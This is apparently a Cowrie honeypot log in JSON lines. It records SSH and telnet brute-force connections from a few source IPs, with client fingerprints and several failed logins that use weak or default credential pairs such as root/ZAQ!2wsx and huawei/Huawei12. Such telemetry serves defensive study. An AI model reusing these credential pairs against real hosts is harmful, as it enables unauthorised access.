{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:ed:f7:5b:fe:50:a0:9c:ff:a4:53:40:6e:ad:03:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArvD2F1ghw4Fk2SE84cNavR9JMFga91AOEbwOGbpt0uiQW3Wds4b/F7jrDJpuUaC3tyNbWArXTaY0/3l6nfJhzQFxcQNczd9KD6Y6W6mlGCQiaCd547TncXstclAmdDYxaDjPZlnajipXwxxvp3r4tAyLbaq8l8EwpRQOSwO8R3xvBSOWDhSf33AHE1cSFGhj9XD9JbVLZt1hkoDYflJw0NaC3+cH2BykNXxxjBnE9nKEOiRzDucZOK/lun9uo/WH9NNQDmDuPggb+t1lSnszk5ZFpg/wAKMnCuCzf7HQU1sV95baPYt8CjXd63JRXCO6q8WotF2qfeLx3ALYq0tanQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.704600Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.784935Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.261994123458862,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:48.279417Z","src_ip":"176.65.139.118","session":"0befe65a9fbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38538,"dst_ip":"159.203.135.109","dst_port":23,"session":"e677a7ea08f2","protocol":"telnet","message":"New connection: 176.65.139.118:38538 (159.203.135.109:23) [session: e677a7ea08f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:48.663919Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48970,"dst_ip":"159.203.135.109","dst_port":22,"session":"f969d2adcd63","protocol":"ssh","message":"New connection: 31.40.204.166:48970 (159.203.135.109:22) [session: f969d2adcd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:51.138031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:51.187433Z","src_ip":"31.40.204.166","session":"f969d2adcd63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:51.299335Z","src_ip":"31.40.204.166","session":"f969d2adcd63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:52.118398Z","src_ip":"31.40.204.166","session":"f969d2adcd63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45960,"dst_ip":"10.17.0.5","dst_port":23,"session":"07de2e467327","protocol":"telnet","message":"New connection: 152.42.224.71:45960 (10.17.0.5:23) [session: 07de2e467327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:52.464878Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:53.307549Z","src_ip":"31.40.204.166","session":"f969d2adcd63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.293328285217285,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:54.957136Z","src_ip":"176.65.139.118","session":"e677a7ea08f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.685187816619873,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:56.887950Z","src_ip":"152.42.224.71","session":"21f42df0864f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44628,"dst_ip":"10.17.0.5","dst_port":23,"session":"c15f84a93ce0","protocol":"telnet","message":"New connection: 152.42.224.71:44628 (10.17.0.5:23) [session: c15f84a93ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:58.064819Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44642,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0390c7fb29b","protocol":"telnet","message":"New connection: 152.42.224.71:44642 (10.17.0.5:23) [session: d0390c7fb29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:00.630237Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60256,"dst_ip":"159.203.135.109","dst_port":22,"session":"551d9a672296","protocol":"ssh","message":"New connection: 31.40.204.166:60256 (159.203.135.109:22) [session: 551d9a672296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:02.332565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:02.337733Z","src_ip":"31.40.204.166","session":"551d9a672296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:02.494821Z","src_ip":"31.40.204.166","session":"551d9a672296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:02.920947Z","src_ip":"31.40.204.166","session":"551d9a672296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00207018852234,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:03.393720Z","src_ip":"152.42.224.71","session":"00ec6d6d394d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:04.090243Z","src_ip":"31.40.204.166","session":"551d9a672296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49948,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc6ccf0c3586","protocol":"ssh","message":"New connection: 31.40.204.166:49948 (159.203.135.109:22) [session: cc6ccf0c3586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:13.327629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:13.332874Z","src_ip":"31.40.204.166","session":"cc6ccf0c3586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:13.494969Z","src_ip":"31.40.204.166","session":"cc6ccf0c3586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.07560133934021,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:13.703091Z","src_ip":"152.42.224.71","session":"c3a9747d67da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:13.992751Z","src_ip":"31.40.204.166","session":"cc6ccf0c3586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.71875047683716,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:15.023260Z","src_ip":"152.42.224.71","session":"616ee7fe7ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:15.125879Z","src_ip":"31.40.204.166","session":"cc6ccf0c3586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00330376625061,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:16.964909Z","src_ip":"152.42.224.71","session":"472cdaf71436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37458,"dst_ip":"10.17.0.5","dst_port":23,"session":"c353bec3de14","protocol":"telnet","message":"New connection: 152.42.224.71:37458 (10.17.0.5:23) [session: c353bec3de14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:19.319726Z"}
{"eventid":"cowrie.session.closed","duration":52.00484895706177,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:19.933935Z","src_ip":"152.42.224.71","session":"8d27a1336ae9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37472,"dst_ip":"10.17.0.5","dst_port":23,"session":"52100c586c80","protocol":"telnet","message":"New connection: 152.42.224.71:37472 (10.17.0.5:23) [session: 52100c586c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:22.693120Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36448,"dst_ip":"159.203.135.109","dst_port":22,"session":"465729d2a525","protocol":"ssh","message":"New connection: 31.40.204.166:36448 (159.203.135.109:22) [session: 465729d2a525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:23.983819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:23.989578Z","src_ip":"31.40.204.166","session":"465729d2a525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:24.109118Z","src_ip":"31.40.204.166","session":"465729d2a525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37484,"dst_ip":"10.17.0.5","dst_port":23,"session":"97e9d5bbfeb0","protocol":"telnet","message":"New connection: 152.42.224.71:37484 (10.17.0.5:23) [session: 97e9d5bbfeb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:24.318005Z"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:24.904812Z","src_ip":"31.40.204.166","session":"465729d2a525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.337173461914062,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:25.401911Z","src_ip":"152.42.224.71","session":"c15f84a93ce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37494,"dst_ip":"10.17.0.5","dst_port":23,"session":"097aff4f5c2d","protocol":"telnet","message":"New connection: 152.42.224.71:37494 (10.17.0.5:23) [session: 097aff4f5c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:25.690424Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:26.101768Z","src_ip":"31.40.204.166","session":"465729d2a525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57440,"dst_ip":"10.17.0.5","dst_port":23,"session":"df4080a61dd1","protocol":"telnet","message":"New connection: 152.42.224.71:57440 (10.17.0.5:23) [session: df4080a61dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:26.206652Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57456,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c9ea0e9fe56","protocol":"telnet","message":"New connection: 152.42.224.71:57456 (10.17.0.5:23) [session: 2c9ea0e9fe56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:26.876935Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57426,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0cba6a2c914","protocol":"telnet","message":"New connection: 152.42.224.71:57426 (10.17.0.5:23) [session: a0cba6a2c914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:26.897727Z"}
{"eventid":"cowrie.session.closed","duration":26.849268913269043,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:27.479379Z","src_ip":"152.42.224.71","session":"d0390c7fb29b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":105.63077330589294,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:29.281226Z","src_ip":"152.42.224.71","session":"d7847a12e598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57464,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e945d320165","protocol":"telnet","message":"New connection: 152.42.224.71:57464 (10.17.0.5:23) [session: 8e945d320165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:29.664174Z"}
{"eventid":"cowrie.session.closed","duration":2.781224489212036,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:29.678834Z","src_ip":"152.42.224.71","session":"a0cba6a2c914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.4627411365509,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:33.927494Z","src_ip":"152.42.224.71","session":"07de2e467327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59384,"dst_ip":"159.203.135.109","dst_port":22,"session":"822b1ca8d607","protocol":"ssh","message":"New connection: 31.40.204.166:59384 (159.203.135.109:22) [session: 822b1ca8d607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:34.917822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:34.926546Z","src_ip":"31.40.204.166","session":"822b1ca8d607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:35.090122Z","src_ip":"31.40.204.166","session":"822b1ca8d607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:35.585412Z","src_ip":"31.40.204.166","session":"822b1ca8d607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:36.718121Z","src_ip":"31.40.204.166","session":"822b1ca8d607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59764,"dst_ip":"10.17.0.5","dst_port":23,"session":"4194d1b6dd76","protocol":"telnet","message":"New connection: 152.42.224.71:59764 (10.17.0.5:23) [session: 4194d1b6dd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:40.953929Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59790,"dst_ip":"10.17.0.5","dst_port":23,"session":"c132a89f0df9","protocol":"telnet","message":"New connection: 152.42.224.71:59790 (10.17.0.5:23) [session: c132a89f0df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:42.478704Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59776,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9e69a0a933c","protocol":"telnet","message":"New connection: 152.42.224.71:59776 (10.17.0.5:23) [session: e9e69a0a933c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:42.674684Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36666,"dst_ip":"159.203.135.109","dst_port":22,"session":"7be4d274549b","protocol":"ssh","message":"New connection: 31.40.204.166:36666 (159.203.135.109:22) [session: 7be4d274549b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:46:45.384429Z"}
